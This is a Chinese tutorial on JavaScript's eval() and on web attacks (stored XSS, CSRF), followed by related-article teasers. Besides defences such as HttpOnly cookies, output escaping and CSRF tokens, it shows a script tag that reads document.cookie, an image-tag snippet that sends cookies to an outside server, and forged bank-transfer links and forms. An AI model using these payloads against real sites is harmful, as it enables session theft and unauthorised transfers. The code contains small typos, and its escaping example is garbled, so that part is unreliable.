javscript eval()的优缺点与web安全防范
要说JavaScript中最为强大的一个方法便是eval()方法呢,为何如此说呢?因为它就像是一个JavaScript解析器,也就是说它的参数就是一段js代码所构成的字符串,当执行这个函数的时候,会把参数里的字符串当成js代码运行.
比如:eval(alert("我是一个弹出框")),这一行代码就等价于alert("我是一个弹出框").
这个方法会将执行结果插入到原位置.而实际上这个方法在执行参数中的js代码中,就包含了调用该执行环境,这也就是说在这个执行环境中有与参数代码所执行的相同的作用域链.因此该方法实际上也可以引用该执行环境中所定义的变量,如下图所示:
而同样的,函数也能够eval()方法里定义,外部调用,因为实际上eval()方法里的字符串与后面的代码是一行代码而已.
不过需要注意的就是eval()方法里没有提升的说法,即函数和变量都不会提升,除此之外,在严格模式下,外部是访问不到eval()里所定义的变量或者函数的,因此会报错,而同样的eval也相当于是一个关键字,不能作为变量为其赋值.
这就是eval()方法的强大之处,但这么强大却也非常的危险,因为可能会有用户恶意输入数据或者病毒危险网站站点或者应用程序安全的代码(这种情况也被叫做代码注入).
这也是我接下来要说的XSS(Cross site Scripting,跨站脚本攻击).
利用别人的cookie,可以冒充真实的用户,在用户所颁发cookie的那个网站中为所欲为,因为浏览器的同源策略,所以是无法访问别的网站的cookie的,但可以通过JavaScript代码注入到目标页面中,就可以绕过同源策略.
比如用户在一个 HTML的表单元素input中输入账号和密码,等到数据提交并保存到服务器上时,就可以在下次展示页面的时候,重新运行这段代码.举个例子:
假设有如下的代码:
<p>不错的文章,点赞一下!</p>
<script type="text/javascript">alert(document.cookie)</script>
等到有人再次访问那个网站的时候,就可以将用户的cookie显示出来,当然并不能直接将用户的cookie信息显示出来,由于JavaScript的跨域访问被浏览器的同源策略所限制,但是可以通过创建一个不可见的<img>图片标签去下载一个包含用户cookie的图片,因为浏览器同源策略并不限制图片标签的下载(跨域).然后通过这个图片标签将cookie发送到自己的服务器上,代码如下:
//创建一个图片标签
var img = document.createElement('img');
//指定图片路径
img.src = "http://web.com/log?" + escape(document.cookie);
//将图片标签添加到页面body标签中
documen.body.append(img);
只要如上代码执行,就会将用户的cookie发送到别人的服务器"http://web.com/log"并保存成一个js文件,假设就叫web.js.
如此一来,就可以拿到用户的cookie,这种窃取用户cookie的方法 就被叫做XSS.
XSS有很多中分类,以上的是危害最大的,叫做存储性XSS,还有反射型XSS和基于dom的XSS.
防范措施:可以为网站的cookie加一个HttpOnly属性:
Set-Cookie: JSESSIONID=xxxxxx;Path=/;Domain=book.com;HttpOnly
这样浏览器就禁止读取JavaScript代码呢.
当然,通过页面注入JavaScript代码,不止可以借用别人的cookie,还可以比如模拟一个真实的用户登陆界面,或者可以通过JavaScript构造GET与POST请求,往服务器发送请求,请求数据,然后删除一些重要信息啊,或者转账啊等等.
防范措施:
可以做一个过滤判断,将用户输入的<>类似这类字符给过滤掉,或者进行编码转义,比如将<转义成<将>转义成>这样就可以将script标签里的代码当作字符串输出,就不会运行代码呢(而这也是eval()函数非常危险的地方).
CSRF(Cross Site Request Forgery,跨站请求伪造)
一个用户的会话存储cookie在浏览器没有关闭之前,是不会被删除的,这也就是说,黑客没必要去偷用户的cookie了,可以在某个网址(比如:web.com)构造一个领奖页面,吸引用户的注意力,然后构造一个超链接,让用户去点击.代码如下:
<p>恭喜你中了大奖,获得IPhone7一部,快来
<a href="www.icbc.com.cn/transfer?toBankId='黑客的账户'&money='金额'">领取吧</a></p>
当然,这得事先知道icbc.com这个网站的转账操作url和参数名称.
如果这个用户刚好登陆过这个网站,那么他的cookie还在,当他禁不住点击这个链接之后,转账操作就会神不知鬼不觉的发生了.
注:当然这里的案例比较简单,银行转账是比这安全多了.
除了让用户点击外,还可以通过使用<img src="www.icbc.com.cn/transfer?toBankId='黑客的账户'&money='金额'"/>图片,只要用户打开了这个页面,就会发生转账操作.
所以,现在很多邮箱的邮件图片都是默认不显示的.如果icbc.com的转账操作需要操作一个form表单,并且是POST方法操作,那么可以自己创建一个表单,放到一个不可见的内联框架<iframe></iframe>中,这样,一旦用户访问了该页面,就用JavaScript代码提交.代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
总而言之,只要用户访问了icbc.com.cn这个网址,就极有可能中招,这是利用了合法的cookie(在浏览器看来这是合法的),这就叫做CSRF.
防范措施:
添加一个隐藏的token,让服务器生成一个token,代码如下:
<form action="www.icbc.com.cn/transfer" method = "POST">
<input type="text" name="token" value="一段看不懂的字符,这就是token">
<input type="text" name="toBankId" value="请输入你的id">
<input type="text" name="money" value="请输入金额">
</form>
由于服务器生成了token,所以在用户进行转账的时候,icbc.com这个网站就会检查用户传过来的数据中有没有token,或者与保存在服务器中的token是否相等,如果相等才执行转账操作,否则就不进行转账操作,这也就说明这次的POST请求是伪造的.
既然token是服务器端生成的,那么CSRF自然也就不行了.
javscript eval()的优缺点与web安全防范的更多相关文章
- web安全防范
xss漏洞 原理:信任了用户输入或控制的字段(url),回显(jQuery.html)到页面.导致script代码执行 后果:可以在页面执行任何hack代码,比如死循环.发送cookie.钓鱼.页面显 ...
- web安全防范之SQL注入攻击、攻击原理和防范措施
SQL注入 攻击原理 在编写SQL语句时,如果直接将用户传入的数据作为参数使用字符串拼接的方式插入到SQL查询中,那么攻击者可以通过注入其他语句来执行攻击操作,这些攻击包括可以通过SQL语句做的任何事 ...
- html5文章 -- 使用 jQuery Mobile 与 HTML5 开发 Web App ——开发原则 | Kayo's Melody
最近专注研究 jQuery Mobile —— 一款很方便就可以把 Web App 包装成适合 Android 与 iPhone 等触屏移动设备的 Javascript 库,结合 jQuery Mob ...
- 微信公众平台如何与Web App结合?
Web App简而言之就是为移动平台而优化的网页,它可以表现得和原生应用一样,并且克服了原生应用一些固有的缺点.一般而言Web App最大的入口是浏览器,但现在微信公众平台作为新兴的平台,结合其内置浏 ...
- 程序员常用的3大Web安全漏洞防御解决方案:XSS、CSRF及SQL注入(图文详解)
https://blog.csdn.net/ChenRui_yz/article/details/86489067 随着互联网的普及,网络安全变得越来越重要,程序员需要掌握最基本的web安全防范,下面 ...
- Web安全实践
目录 前言 编码安全 反序列化命令执行 SQL 注入 跨站 XSS(Cross-site scripting) 跨站请求伪造 CSRF(Cross-site request forgery) URL跳 ...
- [知识库分享系列] 二、.NET(ASP.NET)
最近时间又有了新的想法,当我用新的眼光在整理一些很老的知识库时,发现很多东西都已经过时,或者是很基础很零碎的知识点.如果分享出去大家不看倒好,更担心的是会误人子弟,但为了保证此系列的完整,还是选择分享 ...
- ASP.NET 应用程序安全
原文:http://msdn.microsoft.com/zh-cn/magazine/hh708755.aspx 一.跨站点脚本 简介 XSS 攻击是指将脚本恶意注入用户的浏览会话,这通常在用户不知 ...
- 看好你的门-客户端传数据-用java修改referer
1.简单说明 Referer.origin用来表明,浏览器向WEB服务器表明自己来自哪里.但是就它本身而言,并非完全安全. 写一个例子,可以任意修改http信息头中的referer.origin 2. ...
随机推荐
- 【转】我读过最好的epoll讲解(来自知乎)
首先我们来定义流的概念,一个流可以是文件,socket,pipe等等可以进行I/O操作的内核对象.不管是文件,还是套接字,还是管道,我们都可以把他们看作流.之后我们来讨论I/O的操作,通过read,我 ...
- win10安装elementary os双系统
elementary os是ubuntu的一个分支,界面有点像苹果,比较漂亮.如图: 从已有的磁盘中划出一块空白分区,将elementary单独安装在这个分区里,这个分区需要比其他分区的剩余空间都要大 ...
- python中的string
也可以用一个变量来保存字符串,然后输出str = ‘bad’print str 如果你想表示一段带有英文单引号或者双引号的文字,那么表示这个字符串的引号就要与内容区别开. 内容带有单引号,就用双引号表 ...
- 读书共享 Primer Plus C-part 5
第五章 运算符.表达式和语句 关于+- 的一元运算符和二元运算符的区别 a++:a先创建自身的一个副本,然后a自增1,最后返回副本的值 a+=1: 事实上相当于++a a=a+1: 虽然有点雷同于a+ ...
- PLECS—模型仿真——第十一周作业
1. 直流电机单闭环调速系统比例控制仿真 (1)整体电路图 (2)控制部分电路图 (3)参数设置+仿真结果 2. 直流电机单闭环调速系统比例积分控制仿真 (1)参数设置 (2)仿真结果 3. 直流电机 ...
- 【JavaWeb】客户关系管理系统
前言 为了巩固开发的流程,我们再拿一个客户关系管理系统来练手...! 成果图 我们完成的就是下面的项目! 搭建配置环境 配置Tomcat 导入开发包 建立开发用到的程序包 在数据库创建相对应的表 CR ...
- JavaScript 历史漫谈
话说 JavaScript 其实是诞生在一个特殊的时期,20世纪90年代,正值第三次科技革命时期,互联网刚开始进入人们的生活.设想一下,在网速只有几十比特的那个时代,在登录注册时要花上很长一段时间等待 ...
- C# Swagger 生成接口文档
一直听说Swagger是做Web API文档的好工具,这次手里暂时没什么事,类体验下它的强大之处.下面是使用Swashbuckle.net 给asp.net web API添加文档的简要步骤. 参考地 ...
- [翻译]编写高性能 .NET 代码 第二章:垃圾回收 基本操作
返回目录 基本操作 垃圾回收的算法细节还在不断完善中,性能还会有进一步的提升.下文介绍的内容在不同的.NET版本里会略有不同,但大方向是不会有变动的. 在.net进程里会管理2个类型的内存堆:托管和非 ...
- 从flexible.js引入高德地图谈起的移动端适配
曾几何时,前端还仅仅是PC端的.随着移动时代的兴起,h5及css3的推陈出新.前端的领域慢慢的由传统的pc端转入了移动端,这也导致了前端这一职业在风口的一段时间出尽了风头. 从开始的惶恐和无从下手,慢 ...